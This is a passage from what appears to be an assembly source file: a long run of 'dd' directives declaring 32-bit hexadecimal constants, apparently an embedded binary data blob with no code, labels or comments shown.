5C00CC39h, 8AB61069h, 76E209DAh, 0D080C01Ah dd 0E942B336h, 10CDFE30h, 0B8BB53CBh, 0D68D0239h, 648630F0h dd 6AE66CC0h, 599AD105h, 0D400BDE1h, 0AF142A4Bh, 68E32D1Dh dd 8027C340h, 0CF406A00h, 0E1249F9Dh, 0E2E40EEAh, 0A340C057h dd 89521B13h, 2019BC00h, 0A428385Ah, 3D030BB2h, 0F08ED287h dd 0D4A0FC0h, 650051EAh, 100108F7h, 0F2189AC7h, 747D7DB8h dd 0FD33035Dh, 9036855Eh, 0E748A8C8h, 35844000h, 0D40AEEEBh dd 1F5F84Ah, 0F397FE1h, 6081D204h, 0BD74FF9Dh, 55A85F00h dd 4A9BC2D0h, 0EFB80041h, 8F13E295h, 1C0EC5D3h, 0A010C0D2h dd 5BC74C79h, 0CAAE00BDh, 0E3847A80h, 6A2612A7h, 350AD42Fh dd 470FE8B6h, 0AA92212Ch, 75C9DB53h, 6D424h, 0E3D584BBh dd 617C9742h, 15007FECh, 6E9840D7h, 0F2AB670h, 3922C230h dd 0A7963240h, 0E73DBE93h, 972D00F4h, 3BAD3C6h, 267172D8h dd 58A930h, 0C377E72Fh, 0BC988779h, 84630600h, 8E9B2293h dd 8B24171Ah, 0ED4C406Fh, 6A0D2056h, 0CDA940Eh, 77CE8442h dd 0B062080h, 0D0F872h, 0FEB6F9ABh, 0D2DA7941h, 33A03Eh dd 7A118E40h, 0F010CA4h, 737175EAh, 6AA7A180h, 40A148F3h dd 3558830Bh, 0E8814326h, 50F2B447h, 0F9711060h, 7F0C689Ch dd 150C66A8h, 98742CE3h, 47050939h, 0D00C7ABFh, 0DD4C1F90h dd 0C77C4F17h, 2A8A9447h, 292F27C1h, 5B2570h, 0B7A51562h dd 30E57E2Eh, 0C55CC700h, 6AA6B280h, 0BA1C00A8h, 0E716FEB5h dd 0DCE72D19h, 4A00F5DDh, 36116B8Fh, 0EE34E575h, 1FC901DAh dd 0F9BC883Bh, 12A804Bh, 1CDB9C5Dh, 0AF5B0F30h, 0B920929Bh dd 0FBFA389Eh, 0A09A7200h, 3EF0066Fh, 4E2B2AC0h, 7F9101BCh dd 0F2EE9F76h, 280470CFh, 31D32C17h, 201A420Fh, 0B044540Eh dd 0AA7101D5h, 0AFEFF1B8h, 2CC40B4h, 840E43CFh, 65D19178h dd 0A44038FFh, 0ADB71BFDh, 0A16100C7h, 189F88A4h, 1F205BDFh dd 76900023h, 49F2B17Bh, 0BF091B07h, 10F6F56Ah, 18A6D64Ch dd 405F0F81h, 0A90416E5h, 69B96EFh, 0C1226400h, 2D0077A5h dd 24A10DB2h, 1FD58E51h, 6C0CA28h, 0E9402CA6h, 6E817300h dd 0D20CFBD4h, 0D59056h, 0ED099882h, 7FEFA8E9h, 422A2218h dd 0EEC33D31h, 0A60A2697h, 0D42C01CCh, 0D1C46822h, 0EA3BD871h dd 492B7418h, 3A08131h, 5648DE96h, 9EFBF56Bh, 0EF1DA906h dd 29D690h, 0C2A91E5Ah, 0D943F559h, 0AA7B5712h, 0C95BF083h dd 6EC0FDC3h, 9AA60079h, 0DE7A9CF0h, 81001066h, 6D24DD26h dd 0F0D8A70Ch, 35210074h, 693EF215h, 0CA0EB3ACh, 80B48CA8h dd 4408858Eh, 90E70147h, 2AAA7A3Bh, 308988Ah, 0DB7621h dd 0D74F8647h, 6FBF1E8Bh, 3E131800h, 0D4530AFh, 0FB3031Dh dd 0A986DCAEh, 0A53E388Eh, 2FBB84CFh, 7DC12EBAh, 0BED12D6Ah dd 0D9EB218Dh, 0B7C0DA3Ah, 0A01471Bh, 4F2C26AEh, 90218B7Eh dd 938000D7h, 1CB7A804h, 2C1B27CCh, 1D207AA7h, 14B28549h dd 428068FEh, 8B93F147h, 680D448Ch, 0E947D900h, 0EA5F149Eh dd 62A76FDh, 90FCA898h, 350068B4h, 8A1BBF2Dh, 309CA0ABh dd 3318A534h, 3741BB25h, 3B8FA400h, 1083F773h, 9D52E634h dd 0F43DB2D9h, 2026D4Eh, 0F2A7CF1Ch, 54ED80EBh, 0E967F4h dd 8CDFEEE5h, 0C62B07E8h, 3A335B00h, 324782FAh, 3DF40092h dd 89B5686Dh, 3C00CA1Eh, 0F3600AD3h, 0D90950h, 0D4A95785h dd 15C83206h, 0E46F2203h, 0FF03FC99h, 0EA2EB6A0h, 34350750h dd 3320AC8Eh, 0BCD053A6h, 0AD000B2Dh, 0D96B5AF0h, 4C44E869h dd 47002F3Dh, 2555405Dh, 190087A9h, 3FF14EE6h, 797CFCB6h dd 6D29008Bh, 28306CDBh, 0EC00CD17h, 5334B26h, 240453D2h dd 1F3FAC13h, 80F7DD8Bh, 635BE2F6h, 0DC0F86EEh, 8031489Eh dd 341CCC90h, 3B360012h, 7B2C7858h, 72038FE8h, 117E3C97h dd 5E201015h, 0AFE43C42h, 620FCE9h, 11E0E71Eh, 2B7B4700h dd 556F6756h, 57623193h, 80124808h, 28632220h, 7F22FBFh dd 2021CC58h, 4019E0C7h, 0AD07D259h, 0FEC07EC3h, 71A85816h dd 0FA4A0084h, 0E55BF73Ch, 91C1D1A2h, 0A558FF3h, 40E7A89Eh dd 57A53D49h, 400C23D6h, 8526E16h, 0AB21C142h, 0D439A525h dd 0CC00FB59h, 713E6484h, 3CC6AA09h, 0EE094CD2h, 286D17Ch dd 0AC48E834h, 98C03C0Fh, 2F915DA6h, 0E50B020Ch, 72AA2DEBh dd 0AD04E05Dh, 0A9380046h, 0C845FF1h, 6D01CCFFh, 45BD613Ah dd 0B8CC1D43h, 0FC2EC83h, 97CD7E2Ah, 2F405B00h, 6600164Eh dd 77BDEB01h, 0C06DB9h, 0E379F9BAh, 0CE7E2DC3h, 34E4800h dd 6C604A1Ch, 6F1E0DF3h, 1F11067Ch, 0E93BC304h, 621003D0h dd 0E0AD78Fh, 0E3E0BCE8h, 0CD25A00h, 0E5BD8914h, 209260E6h dd 26618EC7h, 9E56C800h, 7F84BE40h, 55BD0E33h, 1AE048C9h dd 3D70A6B8h, 72F50101h, 0B76D9434h, 9239F4h, 93CA48A5h dd 10C14A77h, 355DAB00h, 0FA578A5Eh, 0C5BD1CB5h, 0B817008Fh dd 80D051CDh, 122FDC00h, 0E9480EBFh, 703500F2h, 0AF4A501h dd 1B7B3219h, 368AD800h, 0C11C73CEh, 503F0049h, 0D00BF5BDh dd 3E01A5DDh, 0E0B44E53h, 0E2FC1146h, 1370703Bh, 38095F1h dd 0FEAA5BAAh, 5E884A0h, 91DA3100h, 572FDF6Ch, 700F0029h dd 56277F32h, 500ECB2h, 14E84577h, 28A853B8h, 0F3CDD2h dd 0D8BFF4B4h, 18E568BDh, 0A5467800h, 0C1016A86h, 58A80029h dd 4860DBD4h, 40C1E608h, 0B9490B1Eh, 1E3DD1E4h, 3CA6FAA9h dd 8180A0BEh, 43DB7F71h, 0F303294Eh, 8030147Dh, 0C70FA776h dd 70D0860Bh, 17DDB80Ah, 0C5BF22h, 49F1A346h, 0F4A063B1h dd 0C0A9B6A7h, 0EE8AF082h, 0CD749501h, 40585448h, 0BFAC81EFh dd 2B0C40E2h, 0E9E081h, 37B7F3F9h, 0B4A59D74h, 9018827Eh dd 3AE8390Ch, 0F69A0035h, 1F5E923Bh, 9033767h, 39D069BEh dd 8D1B00Eh, 0AC1200C3h, 553F59B0h, 7E00115Dh, 905B0DC1h dd 0FDF20Ah, 0F6E7AE97h, 5F4BAF5Ch, 1C00A27Dh, 0C65D1AAAh dd 3E0729h, 9C6C03D8h, 0ED4CD00Eh, 1742B100h, 0D147415h dd 0DA230056h, 0E877C378h, 84003D61h, 1FBB2D5Dh, 0F21B3D3h dd 0A1325087h, 6E143300h, 5C4C63ECh, 2B731691h, 892E8100h dd 0FAD14498h, 0A041FF50h, 5510BE93h, 5D0718B7h, 0DB4DD196h dd 0A9A3FB90h, 4BF01Eh, 6EB62D59h, 3C205B97h, 0A7006A98h dd 58318F27h, 0E1672Ah, 29CF0B1Ah, 2C32BAA5h, 6F3D7212h dd 0F17C446h, 0BFB203D9h, 0B327D6Dh, 4EFB7198h, 0B8722200h dd 73134FD6h, 477595h, 0E39C05FFh, 92C93EB3h, 4ED4A700h dd 3AAE5F0Dh, 1EC60002h, 77AADC45h, 8300DAB6h, 21C0065Ah dd 48790BB0h, 2C01B00Eh, 0D59863CBh, 0FAF08418h, 914F6042h dd 0AE708203h, 0A0841088h, 7B078BFEh, 773B087Fh, 9C891540h dd 69A8001Bh, 64678241h, 3E03AE49h, 2C6DF13h, 0A8ADE994h dd 381A1EDCh, 0E08522FFh, 0C0C0F6DBh, 7B908847h, 9F7C8300h dd 68C81A7Fh, 221B0093h, 88F14657h, 5E0094FCh, 0C18DFA23h dd 682CF8h, 135B2E17h, 0CD27810Bh, 3158FF00h, 35A85CB6h dd 3CAE001Eh, 0CA32DF61h, 0BC720D28h, 1F4C6700h, 0B4FF968Ah dd 8CA40073h, 37DBF255h dd 2C2833D6h, 380F9BEBh, 0BC76523Ah, 7A9B600h, 23EF8Dh dd 0F3C25A7h, 8582ACE1h, 58A6AA0Ah, 0FB05E0D5h, 3810C66h dd 8C2073F3h, 871A002Ch, 0C74A13D4h, 0B7009FBBh, 0E928B279h dd 0F66CC15h, 89CD3497h, 0F23151A0h, 63004792h, 0E3E1177Fh dd 0FAEDEEF1h, 0F4CA50EFh, 0D2D4F9E2h, 0DB70344h, 45AA81CBh dd 800119D3h, 92F5BC0h, 4680555Ch, 0AAE22D98h, 0B2005D11h dd 0BBB8D85Eh, 0E48DF5h, 54D0408Bh, 6BD44CDDh, 0A099E70Fh dd 3B5C0057h, 870C6Eh, 987ABEF6h, 0AF327F73h, 0D71DF301h dd 0C4586FA8h, 0D24E40DAh, 5EE300CCh, 29F95CA3h, 3B0052ACh dd 769E55E8h, 2485F0Ah, 95EF5446h, 0F9C0FC66h, 1C162C28h dd 40403CF1h, 84F253E8h, 0F0F40029h, 89C53FFEh, 6A05E0F1h dd 6774265Bh, 84DBAC23h, 0E7EB200h, 7A738BADh, 0F77FF91Ch dd 0B38764C7h, 204F24A7h, 0EF582EABh, 0C56D0040h, 0BE52D738h dd 200FDB59h, 0C001995Bh, 185131A4h, 0AE3500E7h, 8D7BDA82h dd 9700B2F4h, 59A32B8Eh, 0D5E507h, 1B28F950h, 0AA4580A1h dd 33007A73h, 0B46C1943h, 0E194F2h, 1B03BAE8h, 0F9FE4909h dd 82F75501h, 5C26D169h, 4F6FE8h, 0C64C50A4h, 0F008DA11h dd 2436EC2Ch, 95538E00h, 2824B5h, 7262CCF5h, 15789444h dd 49B09700h, 9837B4F1h, 0FABE02EFh, 151D3DDh, 0BCDFE040h dd 0D2E74801h, 6E5DCACFh, 719330h, 7066ED39h, 502B9765h dd 0F56AA000h, 62ACCCCFh, 85C30089h, 4393EE5Fh, 9F0FB5C2h dd 80050BA3h, 2D0629F3h, 0C4F91E03h, 67814F07h, 39509EE0h dd 1100CD05h, 0A6AF9989h, 0B83B4h, 62FB774Fh, 2C261A71h dd 8F96B000h, 0CA13C670h, 0B6741C6Dh, 61EF804Ah, 4DDA2AC3h dd 8C03C190h, 2E588B3Ch, 6A67A86Fh, 3EF49Ah, 14B99B41h dd 3297A905h, 57C2CD02h, 48D1719Ch, 4CBDC1Ch, 381BB721h dd 0C5C8C0A1h, 0CEB0EE04h, 48D2930Bh, 7A3600A8h, 448118h dd 751F8BAAh, 6751E657h, 0EE8FD903h, 0D01AC6A9h, 0B3D7C86h dd 0BDABE322h, 3A558021h, 6D9474ECh, 861DA307h, 0A241A4F9h dd 18995A08h, 0F19310FBh, 12A214Bh, 4003E318h, 8C493B24h dd 813C1900h, 0B5FC858Fh, 2E9F308Ah, 5CFAEC18h, 0AE3BB89Ah dd 0D11A18F0h, 3EBCCED2h, 0DB00676Ah, 87237079h, 0A0A6D7Bh dd 1CEBD57Eh, 7047C987h, 0E242D993h, 0D10C83E7h, 793B90A2h dd 0FA197B8Fh, 73D20BEFh, 8A874AA0h, 39826348h, 0D15222B0h dd 99444Ch, 0B78F2D72h, 0EDA698h, 695A7E56h, 0D8B5A197h dd 77124300h, 758699CAh, 9C0A006Eh, 0F2E8EC6Bh, 8AE29855h dd 72038702h, 60898CF7h, 0CEC965h, 7941DD0Eh, 4677CB91h dd 0D4BF5528h, 9F005873h, 0B5E8C9E1h, 3FCE2DA3h, 2F8057A6h dd 94B4F287h, 48E24247h, 19D05100h, 0E98F61CFh, 0E0740001h dd 237C02A0h, 0B198E753h, 0A4B5DF00h, 9E9A9D61h, 0C99400ADh dd 0FD997058h, 0E53E1A75h, 27240032h, 0CD5BD009h, 0BDD4A0C8h dd 197CB13Ch, 0C74D0832h, 0D9A3CCE0h, 0F44A19C3h, 0C00801CBh dd 50C89478h, 401DEBE4h, 1E20BA03h, 406ED2C1h, 68E345ABh dd 71EB4B06h, 0A62182E4h, 4867625Bh, 5C030E64h, 290430A3h dd 0D1A0C75Ch, 4199BDE8h, 0BAC2AA48h, 0A25B1848h, 0DD5321h dd 886E5820h, 75133AFDh, 16C8AF0Eh, 2FE2C14Dh, 5892A194h dd 0BB08205Dh, 0D201CF4Fh, 5B728540h, 74C0DC32h, 0DE47ECCAh dd 61A49890h, 206EDF8h, 3C7562E6h, 887E5040h, 4A092003h dd 0E982D201h, 6E01D52h, 1E4063CCh, 4C884FFFh, 0E848FCC9h dd 869CCF55h, 0A3E15D80h, 0A6CC2461h, 81F60129h, 91CA6835h dd 7803A081h, 20CC2555h, 705F9880h, 0C2F19600h, 0E27AEE0Eh dd 0DC621406h, 0D4449C45h, 4749445Dh, 26AD2301h, 683711D0h dd 55E0BCCDh, 0C95810CDh, 2EBD15F5h, 5C72C1F8h, 50410BF8h dd 2180615Dh, 65B4E4E3h, 0F2009387h, 0EEE85CEDh, 7D952E1Eh dd 0ECB00518h, 80C36897h, 67DD13B6h, 368CB53h, 0E7F16E69h dd 9EA1F12h, 5F05C078h, 0AB9E8E73h, 9136FA14h, 0C1A308D8h dd 0B940327Dh, 9F6AA521h, 1A2860h, 0E18A961Eh, 8B0A1688h dd 0F08D10Dh, 5841D8EAh, 0C210EFC3h, 200641EBh, 5D22BD2Ch dd 0C00990D1h, 0A5FF8F21h, 6E3E4354h, 0C510635h, 2189A1E6h dd 0A21147D9h, 7B508000h, 40BA7F66h, 0AF53A909h, 22901BDEh dd 1A007B61h, 0ACC77D89h, 0FF7799B2h, 0C3377C20h, 63C0A330h dd 74EB2924h, 0FA157C83h, 7029655Bh, 0ED8808CBh, 0A9514588h dd 98BD04D0h, 7C3B4A5Ah, 0ABAD7700h, 0C868A4D8h, 2B837618h dd 0C06E98F9h, 64CB53h, 45FA7754h, 0D40422F0h, 0F12B6F32h dd 1B15279Eh, 825F9384h, 8490FEDCh, 4303EFEBh, 220792E1h dd 0AA610170h, 6DB0FC76h, 0F6B07A61h, 0D5EEE1h, 0A7B39B56h dd 1949EBCDh, 44CAC824h, 0D104038Ch, 3F957301h, 0BB001588h dd 87A3D8EAh, 0E4266A82h, 390CE6B6h, 0D76945h, 36CD8670h dd 0D340AB28h, 95A87303h, 300883D5h, 5FA8B850h, 6A523FBCh dd 767C2290h, 0F90F00FDh, 660273C6h, 277F1115h, 4E8E4D00h dd 8672A93Ch, 0FC6348AEh, 309D48Ch, 0B0B180E3h, 0DD0D5586h dd 2FC83DA1h, 52F40C80h, 74777817h, 0CDBE8B26h, 7C46BB13h dd 289475Dh, 421B89F8h, 0D08F11D5h, 7C99E0A9h, 5A110B98h dd 0CA600A1h, 9A38B164h, 12E0FEC8h, 43CA9D55h, 0D11E45B8h dd 0E0A153h, 40080EBCh, 0C2B7CEh, 0B6345E52h, 0A6ABED73h dd 0E82A6900h, 0B4A892AAh, 0AB7E4F7h, 0A1C83A48h, 24A86880h dd 6BE66364h, 704612A4h, 11D55Bh, 926CD9D4h, 823B2794h dd 4E8FD703h, 11151E73h, 155C54E1h, 0FC87E3Bh, 0C0946BB4h dd 0F98C4419h, 0C059C2E9h, 0A0A3A703h, 83B05398h, 0E824F118h dd 5AC39CCBh, 918100D6h, 692DE031h, 5D013F78h, 0BBBEEDA3h dd 0AC26B998h, 0F6897E3Dh, 4411CB44h, 0A86980AEh, 0CC266984h dd 19A4FC70h, 0F9468F05h, 881009FBh, 0A4DE3D45h, 0B27044B8h dd 28002571h, 9BDCB3E0h, 5814858h, 63293927h, 4FD2C5BCh dd 20B545B4h, 0B4DCEAD8h, 842A1301h, 2EE19461h, 6DD8EF0h dd 4BE6F66Bh, 3D22412Ch, 357E2019h, 88087258h, 0F2E3805Fh dd 9D03D9E1h, 0F2B90930h, 0EAC44B5Ah, 0A22924CCh, 213B9234h dd 0D451B2B0h, 0B803437Ah, 27C342FEh, 0CC1BC044h, 0B440826Eh dd 6D4088DFh, 899F6F5Bh, 24427360h, 3D00A805h, 0BF6C90E0h dd 1C412ACh, 1FA3A6D3h, 0C44911F1h, 3CB163A2h, 8050A511h dd 0C4CB341h, 4D115B5Dh, 65E3F50Eh, 6728224Ah, 0AA24E873h dd 8AB502E2h, 4E38303Ch, 0B4388864h, 781A8022h, 0C61EF771h dd 14915Bh, 0A67515ECh, 0B2002FC2h, 22C5805Dh, 699F7F8Fh dd 0B02299A1h, 5D21492Eh, 5441A2C5h, 51154D23h, 9DC0847Ch dd 0C51A9322h, 0D67B4100h, 3B44E3B0h, 0F91C0181h, 9EFFBCFCh dd 45742454h, 28E43753h, 0C05C284Dh, 0C85C4C84h, 0A25E8078h dd 9ABFFD12h, 0C2AE4516h, 44707008h, 23D1407Ah, 1D137D46h dd 79AA2F8Dh, 0A2E89004h, 486092B6h, 0C800CCE6h, 0C1DC2E5Eh dd 0AB5D6251h, 0F5B7E0D0h, 15767849h, 90E726C3h, 8A5B3FC5h dd 0A1900240h, 40A2FD96h, 91F85D10h, 50D3169Ch, 0B6C71894h dd 468E03E1h, 904498E4h, 41EAE700h, 0FDEE798Dh, 13C63C77h dd 99469F06h, 0AE03B935h, 544FEBCCh, 0A37FD994h, 0E0F0A210h dd 0F42C1DF2h, 0E873D0CBh, 6C37678h, 6527F124h, 265DB090h dd 90BC8AF8h, 4B5780BBh dd 0B93AEFE8h, 8430489Fh, 0F58DC8Ah, 9CB4AFE0h, 592153C0h dd 1F577CA3h, 2D0318F0h, 54FCE11h, 0F9A65B24h, 11F6C19Eh dd 0DAFC400Ch, 8108E7B4h, 0A5A4F51h, 121C1F45h, 0C00C245Dh dd 29909FA9h, 5B2C0B00h, 9CDC5CACh, 57D219FCh, 33CFC0EDh dd 0F95D1598h, 5045CAC8h, 0CC067290h, 0D97139A6h, 818E8500h dd 0FC5B4146h, 2CA900C5h, 56C249FAh, 6838E831h, 0C75C9D20h dd 0F3635C6Eh, 4845A4EAh, 8A456A2h, 4947EE68h, 0E0F8AC48h dd 4C3AADB5h, 0BF0384Eh, 9EC60512h, 0BB51DE29h, 0C0AAE687h dd 0E3202F80h, 25CDACB5h, 488F9362h, 0C3A6FE9Eh, 164A06Ch dd 0C726AF25h, 0F3D78685h, 84C0C1F3h, 0C021991h, 0B30D6C9Eh dd 0F06449h, 0B4BE82C0h, 142F7F8Ah, 3DBDC313h, 0E43B0822h dd 0E76D01CCh, 3EF0F248h, 86998110h, 0C5C8C136h, 0A1247BD4h dd 4C2DF574h, 86FAEC0h, 3E4AC471h, 0D38569C0h, 0DE650A63h dd 384142h, 340F0907h, 0F801EC5Bh, 7940C3C7h, 12104C85h dd 8A3EBD10h, 25D0A019h, 38236CE8h, 49005A5Dh, 0BE9B2F91h dd 2C71E26Eh, 67F48CD1h, 2959D6BDh, 0BBA9AA01h, 0C8D1C9DEh dd 20535C52h, 81DD4DE2h, 13542100h, 0B4E92C28h, 8C5B3CA1h dd 18126DB8h, 0DC788868h, 5C31E245h, 4451385Dh, 18466B5Fh dd 5CCC5491h, 0F3B7249Fh, 3C6D00F1h, 0C8C32A53h, 0A88074B1h dd 1CF6C9A1h, 22E4014Ah, 8D6D6556h, 0BE81CC43h, 4611A26h dd 115EAAC0h, 0BCF51CA0h, 20A1E5CCh, 7ECB4AF3h, 3BE51A81h dd 3006E822h, 11819AE0h, 22982954h, 595D4544h, 486D886Dh dd 202650h, 54AFEF3Eh, 3229B8D7h, 0D4189246h, 0C447CC4Ch dd 0E088E826h, 0FB908C4Eh, 517ACE03h, 0FBD6CCC9h, 952FB805h dd 525D8030h, 0C56691C0h, 84FEB3h, 0A6B4B5F2h, 7C9868E3h dd 65F60D05h, 0C0766380h, 98AC88h, 56AED711h, 2417915Eh dd 6EA6DD00h, 86D197C3h, 62FE2EF9h, 0A5038C60h, 0C400E8E9h dd 0AD6E1404h, 0B80E1618h, 688D59B6h, 74C9007Ah, 0F3A2A0E6h dd 64B9CA50h, 0A6582020h, 0B0007A40h, 2FFA80D1h, 9C75FF93h dd 543F885Ch, 966C10A5h, 223D0E13h, 7438EB7h, 0ADD0ACB1h dd 0C3A7BA4h, 0B9A580E6h, 0B7ECB5A8h, 8EF4B8Dh, 28AE63ACh dd 8244584h, 895EB0C8h, 567C46Fh, 0F8A15A00h, 5B109612h dd 0E8474DBBh, 62204097h, 3696D335h, 0C96B5D1Ch, 1C421148h dd 0B1047BAAh, 0C804839Bh, 0FC1E6388h, 0E2802A99h, 1287E338h dd 2B350C73h, 0C0997EF7h, 884D7B00h, 0A308E4E2h, 123278C3h dd 4EBC5AACh, 7E2041A4h, 7C3BC5C1h, 9107D4FEh, 6F0373FAh dd 4E6C254h, 0F6430D00h, 0AFA128AEh, 518DD100h, 1183F2EFh dd 58D3096Ch, 40101915h, 0FE01E3AAh, 3DED0C1Eh, 5192A365h dd 0EE182832h, 775E9C07h, 6BE08AFDh, 0F0E27C1h, 4581DEC4h dd 3F097362h, 1840A224h, 690F3B8Eh, 5A002775h, 0BAF08F78h dd 0C936E147h, 20914B58h, 0C0C0127Eh, 0E0E369C4h, 0B9641348h dd 0BDFC451Ah, 0E3D8CC21h, 162E4686h, 0A0214ECCh, 0EFC470D6h dd 8DB810h, 25972E4Fh, 320C7CC5h, 0CB0194E4h, 0C2A8C919h dd 0CDD0F533h, 21E409EBh, 1C90D379h, 9B040886h, 0FE45BF7Fh dd 88BB80F4h, 36007091h, 0CD4D8C29h, 7151ADD0h, 50A505F1h dd 0D868A178h, 8AA0ABF0h, 0F413FD31h, 4049C937h, 0CA60C839h dd 5F3B0201h, 6F9976EDh, 0BF3281C0h, 7B352200h, 3A786111h dd 36C9150h, 97280FC0h, 44C425F2h, 382E909Eh, 0CCA50AEEh dd 1AAECC80h, 3FC840EFh, 8B3B42C4h, 60FF72A8h, 82CB8944h dd 6948BC8Ch, 0A25684E4h, 17EE2859h, 0F48FEAC5h, 0BDA88609h dd 8954E780h, 373BF924h, 0C86D8E8Dh, 0F88504D9h, 26E8CCCCh dd 1868BF7Eh, 23BDB9CBh, 2698989Ch, 8B73DD79h, 0BAD022h dd 0C6E0B72Ah, 0CDEDF475h, 320BA309h, 0AAB498CBh, 0C9E300E2h dd 0DC538F27h, 294C930Ah, 4498843Ch, 6EC75D42h, 0A111F465h dd 6BEC5100h, 287E149Fh, 0F019FB26h, 0B0A16F65h, 0BD006C37h dd 0A01F3116h, 0F3133066h, 0A8905833h, 345E40Ch, 1288ACA9h dd 70B8759Ch, 581322A4h, 0BC34C2ADh, 37120280h, 0AE790143h dd 5E5E7BBh, 0C7B85369h, 28F15107h, 1F4013D7h, 90D2AABh dd 68F8D25Ch, 0FCFC8C46h, 0F613CE01h, 470ED585h, 7C029055h dd 44C8825Ch, 68F9002Ch, 4CE7AD87h, 89AF7A2h, 0F6577044h dd 1DF93FCFh, 63423080h, 9593D59Ah, 0BFF56112h, 7C86C41h dd 0C78C3DFh, 0E49234CBh, 83009C71h, 0ED0EC981h, 0E463F98Ah dd 0A0304B27h, 8700E161h, 6FA59BE3h, 1CEE3Eh, 72B9A94Ch dd 0F6125DCDh, 82C17B60h, 149C3054h, 8039C98Dh, 805CF292h dd 5AA8F436h, 4FE0A8BAh, 1F0C0153h, 79E12667h, 6931D452h dd 36073CFEh, 0C1C94D65h, 0A8C0E0B0h, 0D19AF973h, 288479D3h dd 52CA425Fh, 417889C2h, 0A841B25Ch, 71809D5Bh, 4EC491E4h dd 262633AFh, 0A34430CEh, 12174Eh, 369178E6h, 509468ABh dd 0E9D38F60h, 0BE582450h, 6CB02554h, 0C997CAAh, 2F09DC81h dd 91BCB9EEh, 0C53EC11Eh, 0A7C32632h, 2FCC1D58h, 7A10C201h dd 0E210C308h, 520170D2h, 0F3AF4FF7h, 0B079CB3Dh, 4F9B680h dd 59F6BBD3h, 2E2CE482h, 219705Ch, 9846802Ch, 0DC7EABE1h dd 63B81E4Fh, 685E0EE0h, 0DB365C22h, 4BE8AAA8h, 0ABB82C32h dd 0EB101100h, 87FF02Ah, 96780064h, 0D1A99CEh, 9F055D04h dd 0B7AFDC33h, 0D804A024h, 0A8C931B2h, 663DC2D3h, 6A622D08h dd 0CC180C1Ah, 8701A65Ah, 6A9646A9h, 845CD3BDh, 52DC0118h dd 0DD717CBBh, 5CB08A45h, 0BD05206Dh, 34094686h, 53B062FAh dd 80418040h, 0C4A6F5DBh, 0C8C06096h, 0BC44C5A3h, 7764088h dd 6804CBB5h, 3ABDC35Bh, 0A872A0DDh, 325C9E00h, 7F27FAF4h dd 0FDFB4339h, 49B92616h, 0C08250D4h, 733B2257h, 0FEF64881h dd 2C5060AAh, 0DE89FA00h, 597CE25h, 416A3029h, 2EF8F041h dd 141C21E5h, 59780140h, 8981ADA0h, 514D2961h, 74CE8034h dd 9ADA52F3h, 7C38B341h, 42E9CC80h, 80090E5h, 77B5ACCDh dd 4BF0AB65h, 5D347272h, 9D00E052h, 176F55F2h, 0B9C215CBh dd 0A16D6228h, 0A31C2011h, 1166DE30h, 12721545h, 16B5F0A7h dd 137860ECh, 730393A4h, 479B197Eh, 0E67190E9h, 80B145C9h dd 0B092A699h, 1C0B90CDh, 6FACBEAEh, 17A30811h, 94E824F0h dd 6DE6139Fh, 2CC252Ah, 9F0AE81h, 0FCE35C61h, 7724F8F3h dd 0A65090CAh, 20584E24h, 916B8DBCh, 7D168E00h, 2D4AAC3h dd 53F0368h, 4FDC25A9h, 9E98D809h, 0ABB4E8A1h, 12547CD9h dd 0D253DEAAh, 60F7E698h, 0BE2CB42h, 1A9576B3h, 27BDFCC8h dd 5D06D899h, 9B98D7E6h, 0E9D502A4h, 0FCE080FEh, 0A212FD01h dd 0F06262C8h, 1CD95Dh, 2D59B4CCh, 549CC71Ch, 0AF1144E0h dd 50E400B8h, 3EA5DAF0h, 0DB024525h, 0E92168EDh, 0A2FC7B86h dd 0C2E144E8h, 1829AA12h, 0F11CEC33h, 0F6D11641h, 0BECB7BE0h dd 823D90C8h, 63CAC8AAh, 0A252B1A0h, 0C3A39989h, 9D407051h dd 11270D0h, 1C33413Ah, 0E41E08C9h, 0D50D2A18h, 0E907E5E8h dd 89E22C43h, 0C831225Bh, 0FC941C2Dh, 3A234981h, 56C61071h dd 0D5670775h, 0C08AD9BCh, 0A8B8B733h, 42FD1000h, 0A1955B0Ch dd 0AA48C05Eh, 0DBA28513h, 460B6893h, 0E36491A3h, 7474384Dh dd 0D20703FAh, 78D41BA2h, 5F612FA0h, 0A7BD8F1Dh, 47505407h dd 4BFA6520h, 18807428h, 107BF4E2h, 45017C6Fh, 8D29E930h dd 0F0F3FC2Ah, 60DB7143h dd 31DD383Fh, 0AF75B9DEh, 0D90DCA00h, 0D4F6440Eh, 1B4B00F9h dd 504F618Fh, 9C1BFA7Dh, 0C1588678h, 8BEDD6Eh, 91A86B00h dd 0ABA5C020h, 1B0CE178h, 60211E51h, 0C67A1490h, 8721204Fh dd 4700EC11h, 207BC468h, 750074FBh, 0F877C8FFh, 18392351h dd 284A9CADh, 836030DFh, 53F04B48h, 0C241C0EAh, 0F73184C4h dd 44298A00h, 5451F2CFh, 3A020699h, 0A615057h, 0EF16A914h dd 5FE2188Ch, 395AA749h, 0D000C718h, 0B78865D2h, 0A201F881h dd 0F47D9503h, 6980E711h, 0EBE5615Ah, 7F282822h, 0B88290D5h dd 0DF82813h, 0F10071B1h, 618A9BE6h, 0CAD5D16h, 28E2DD36h dd 0B262C548h, 10862FD1h, 4915878Eh, 90900Bh, 2D8FAA53h dd 220ADDh, 0E478E8A6h, 868352F5h, 0E1D09455h, 0A115EF0Eh dd 1B47CC1h, 1A25346Fh, 0BC5162FEh, 90107802h, 0E1834D60h dd 8841A3ABh, 3C40CE9Ch, 1DCA57DDh, 7D12A0Ah, 50666FB1h dd 4B70D65Fh, 0F0003491h, 78EF2FD5h, 0B062308Fh, 48795D51h dd 5EFC5954h, 0AAB8144h, 2962B640h, 48F947C0h, 3131C00h dd 1E815B16h, 8307312Eh, 0AA22FC42h, 1AF0E000h, 0EA01C40Fh dd 0AC8344C0h, 8CEE303Fh, 7168A17Eh, 84E0546Eh, 0C3DA00E3h dd 617F08F5h, 0A905F322h, 2CD4E29h, 84CBBC44h, 0E50CF542h dd 1099A091h, 7D9AA8CAh, 8DE10035h, 5EDCF9ABh, 0DE0CB091h dd 2860347Ah, 784A64C5h, 0FB8A43EBh, 36FB8BAh, 567F005Ch dd 5F210F11h, 0F508F3D2h, 1832F1B9h, 830289AEh, 1BE9F088h dd 117BE2A4h, 4537BAB0h, 700EDC01h, 0FBECE035h, 900CC4F4h dd 8771D5Bh, 66E0AAB9h, 59729097h, 0B2285A12h, 6CF01042h dd 0DC0720EAh, 0E00D7D0h, 0C679FC21h, 0EA2BA4CCh, 0EC9C2847h dd 171F02FCh, 0DF5AA6Ch, 0DF147C44h, 40544E01h, 792A8E2Ch dd 5D06987Eh, 3C1C5603h, 2A70A491h, 19F4F135h, 51F9F8F5h dd 